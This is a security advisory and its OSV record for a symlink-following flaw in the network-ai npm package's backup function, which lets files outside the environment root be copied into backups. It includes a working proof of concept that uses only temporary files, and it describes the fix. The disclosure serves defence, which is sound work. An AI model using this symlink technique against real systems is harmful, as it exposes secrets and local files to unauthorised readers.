GHSA-6X2M-P4XP-WG22
Vulnerability from github – Published: 2026-06-19 21:42 – Updated: 2026-06-19 21:42Summary
EnvironmentManager.backup() recursively collects files using _collectBackupFiles(). _collectBackupFiles() uses statSync(full), which follows symlinks. If data/<env> contains a symlink to a directory outside the environment root, backup recursion follows the symlink and copies external files into data/<env>/.backups/<backupId>/.
An attacker who can place a symlink under the environment data directory can cause backup operations to disclose files outside the environment root into backup artifacts. Confirmed in Network-AI 5.12.1.
Details
backup() collects file paths and copies them into the backup directory:
const files = this._collectBackupFiles(envDir);
for (const rel of files) {
const src = join(envDir, rel);
const dst = join(backupPath, rel);
mkdirSync(join(backupPath, rel.includes('/') ? rel.substring(0, rel.lastIndexOf('/')) : '.'), { recursive: true });
try { copyFileSync(src, dst); } catch { /* skip unreadable */ }
}
_collectBackupFiles() follows symlinked directories because it calls statSync(), not lstatSync():
const info = statSync(full);
if (info.isDirectory()) {
walk(full, rel);
} else {
results.push(rel);
}
Default CLI reachability exists through network-ai env backup create --env <env>. backup() also runs automatically before promotion and restore operations.
Affected source evidence:
lib/env-manager.ts:435-460— backup copy logic.lib/env-manager.ts:596-617— symlink-following_collectBackupFiles().bin/cli.ts:413-420— default CLI exposes backup creation.lib/env-manager.ts:294-297and483-484— backup also runs before promote/restore.
PoC
This PoC uses only temporary files. It creates a symlink inside data/dev pointing to an external directory, then runs backup('dev') and observes that the external file is copied into the backup:
TMP=$(mktemp -d)
TMPBASE="$TMP" node -r ts-node/register/transpile-only - <<'TS'
const { EnvironmentManager } = require('./lib/env-manager');
const fs = require('fs');
const path = require('path');
const base = process.env.TMPBASE;
const data = path.join(base, 'data');
const outside = path.join(base, 'outside');
fs.mkdirSync(outside, { recursive: true });
fs.writeFileSync(path.join(outside, 'secret.txt'), 'secret-through-symlink');
const mgr = new EnvironmentManager(data, {
chain: ['dev', 'st'],
gates: { dev: 'auto', st: 'auto' },
});
mgr.init('dev');
fs.symlinkSync(outside, path.join(data, 'dev', 'linked-outside'), 'dir');
const result = mgr.backup('dev');
const copied = path.join(result.path, 'linked-outside', 'secret.txt');
console.log(JSON.stringify({
copied: fs.existsSync(copied),
content: fs.readFileSync(copied, 'utf8'),
}, null, 2));
fs.rmSync(base, { recursive: true, force: true });
TS
Observed result: copied is true and content is secret-through-symlink.
Impact
An attacker who can place a symlink in data/<env> can cause backup creation to copy arbitrary readable files from outside the environment root into data/<env>/.backups/<backupId>/. This can disclose secrets or local files to any actor/process that can later read or export Network-AI backup artifacts. No RCE chain was confirmed.
Resolution (maintainer)
Fixed in v5.12.2 (commit a59c13a). Install: npm install network-ai@5.12.2 — published to npm with provenance.
_collectBackupFiles() now uses lstatSync instead of statSync and skips any entry where isSymbolicLink() is true. Symlinks are never traversed, so backup() can no longer follow a link out of the environment root and copy external files into a backup artifact.
All 3,269 tests pass against the patched build. Thanks to @sondt99 for the responsible disclosure.
{
"affected": [
{
"database_specific": {
"last_known_affected_version_range": "\u003c= 5.12.1"
},
"package": {
"ecosystem": "npm",
"name": "network-ai"
},
"ranges": [
{
"events": [
{
"introduced": "0"
},
{
"fixed": "5.12.2"
}
],
"type": "ECOSYSTEM"
}
]
}
],
"aliases": [],
"database_specific": {
"cwe_ids": [
"CWE-22",
"CWE-59"
],
"github_reviewed": true,
"github_reviewed_at": "2026-06-19T21:42:36Z",
"nvd_published_at": null,
"severity": "MODERATE"
},
"details": "### Summary\n`EnvironmentManager.backup()` recursively collects files using `_collectBackupFiles()`. `_collectBackupFiles()` uses `statSync(full)`, which follows symlinks. If `data/\u003cenv\u003e` contains a symlink to a directory outside the environment root, backup recursion follows the symlink and copies external files into `data/\u003cenv\u003e/.backups/\u003cbackupId\u003e/`.\n\nAn attacker who can place a symlink under the environment data directory can cause backup operations to disclose files outside the environment root into backup artifacts. Confirmed in Network-AI 5.12.1.\n\n### Details\n`backup()` collects file paths and copies them into the backup directory:\n\n```ts\nconst files = this._collectBackupFiles(envDir);\nfor (const rel of files) {\n const src = join(envDir, rel);\n const dst = join(backupPath, rel);\n mkdirSync(join(backupPath, rel.includes(\u0027/\u0027) ? rel.substring(0, rel.lastIndexOf(\u0027/\u0027)) : \u0027.\u0027), { recursive: true });\n try { copyFileSync(src, dst); } catch { /* skip unreadable */ }\n}\n```\n\n`_collectBackupFiles()` follows symlinked directories because it calls `statSync()`, not `lstatSync()`:\n\n```ts\nconst info = statSync(full);\nif (info.isDirectory()) {\n walk(full, rel);\n} else {\n results.push(rel);\n}\n```\n\nDefault CLI reachability exists through `network-ai env backup create --env \u003cenv\u003e`. `backup()` also runs automatically before promotion and restore operations.\n\nAffected source evidence:\n\n- `lib/env-manager.ts:435-460` \u2014 backup copy logic.\n- `lib/env-manager.ts:596-617` \u2014 symlink-following `_collectBackupFiles()`.\n- `bin/cli.ts:413-420` \u2014 default CLI exposes backup creation.\n- `lib/env-manager.ts:294-297` and `483-484` \u2014 backup also runs before promote/restore.\n\n### PoC\nThis PoC uses only temporary files. It creates a symlink inside `data/dev` pointing to an external directory, then runs `backup(\u0027dev\u0027)` and observes that the external file is copied into the backup:\n\n```bash\nTMP=$(mktemp -d)\nTMPBASE=\"$TMP\" node -r ts-node/register/transpile-only - \u003c\u003c\u0027TS\u0027\nconst { EnvironmentManager } = require(\u0027./lib/env-manager\u0027);\nconst fs = require(\u0027fs\u0027);\nconst path = require(\u0027path\u0027);\nconst base = process.env.TMPBASE;\nconst data = path.join(base, \u0027data\u0027);\nconst outside = path.join(base, \u0027outside\u0027);\n\nfs.mkdirSync(outside, { recursive: true });\nfs.writeFileSync(path.join(outside, \u0027secret.txt\u0027), \u0027secret-through-symlink\u0027);\n\nconst mgr = new EnvironmentManager(data, {\n chain: [\u0027dev\u0027, \u0027st\u0027],\n gates: { dev: \u0027auto\u0027, st: \u0027auto\u0027 },\n});\n\nmgr.init(\u0027dev\u0027);\nfs.symlinkSync(outside, path.join(data, \u0027dev\u0027, \u0027linked-outside\u0027), \u0027dir\u0027);\n\nconst result = mgr.backup(\u0027dev\u0027);\nconst copied = path.join(result.path, \u0027linked-outside\u0027, \u0027secret.txt\u0027);\n\nconsole.log(JSON.stringify({\n copied: fs.existsSync(copied),\n content: fs.readFileSync(copied, \u0027utf8\u0027),\n}, null, 2));\n\nfs.rmSync(base, { recursive: true, force: true });\nTS\n```\n\nObserved result: `copied` is `true` and `content` is `secret-through-symlink`.\n\n### Impact\nAn attacker who can place a symlink in `data/\u003cenv\u003e` can cause backup creation to copy arbitrary readable files from outside the environment root into `data/\u003cenv\u003e/.backups/\u003cbackupId\u003e/`. This can disclose secrets or local files to any actor/process that can later read or export Network-AI backup artifacts. No RCE chain was confirmed.\n\n\n---\n\n### Resolution (maintainer)\n\n**Fixed in [v5.12.2](https://github.com/Jovancoding/Network-AI/releases/tag/v5.12.2) (commit `a59c13a`).** Install: `npm install network-ai@5.12.2` \u2014 published to npm with provenance.\n\n`_collectBackupFiles()` now uses `lstatSync` instead of `statSync` and skips any entry where `isSymbolicLink()` is true. Symlinks are never traversed, so `backup()` can no longer follow a link out of the environment root and copy external files into a backup artifact.\n\nAll 3,269 tests pass against the patched build. Thanks to @sondt99 for the responsible disclosure.",
"id": "GHSA-6x2m-p4xp-wg22",
"modified": "2026-06-19T21:42:36Z",
"published": "2026-06-19T21:42:36Z",
"references": [
{
"type": "WEB",
"url": "https://github.com/Jovancoding/Network-AI/security/advisories/GHSA-6x2m-p4xp-wg22"
},
{
"type": "WEB",
"url": "https://github.com/Jovancoding/Network-AI/commit/a59c13a1f0ce0e8a0779a90343eef92fac5ab4c3"
},
{
"type": "PACKAGE",
"url": "https://github.com/Jovancoding/Network-AI"
},
{
"type": "WEB",
"url": "https://github.com/Jovancoding/Network-AI/releases/tag/v5.12.2"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:N/A:N",
"type": "CVSS_V3"
}
],
"summary": "Network-AI: EnvironmentManager.backup() follows symlinked directories and copies files outside the environment root into backups"
}
Sightings
| Author | Source | Type | Date | Other |
|---|
Nomenclature
- Seen: The vulnerability was mentioned, discussed, or observed by the user.
- Confirmed: The vulnerability has been validated from an analyst's perspective.
- Published Proof of Concept: A public proof of concept is available for this vulnerability.
- Exploited: The vulnerability was observed as exploited by the user who reported the sighting.
- Patched: The vulnerability was observed as successfully patched by the user who reported the sighting.
- Not exploited: The vulnerability was not observed as exploited by the user who reported the sighting.
- Not confirmed: The user expressed doubt about the validity of the vulnerability.
- Not patched: The vulnerability was not observed as successfully patched by the user who reported the sighting.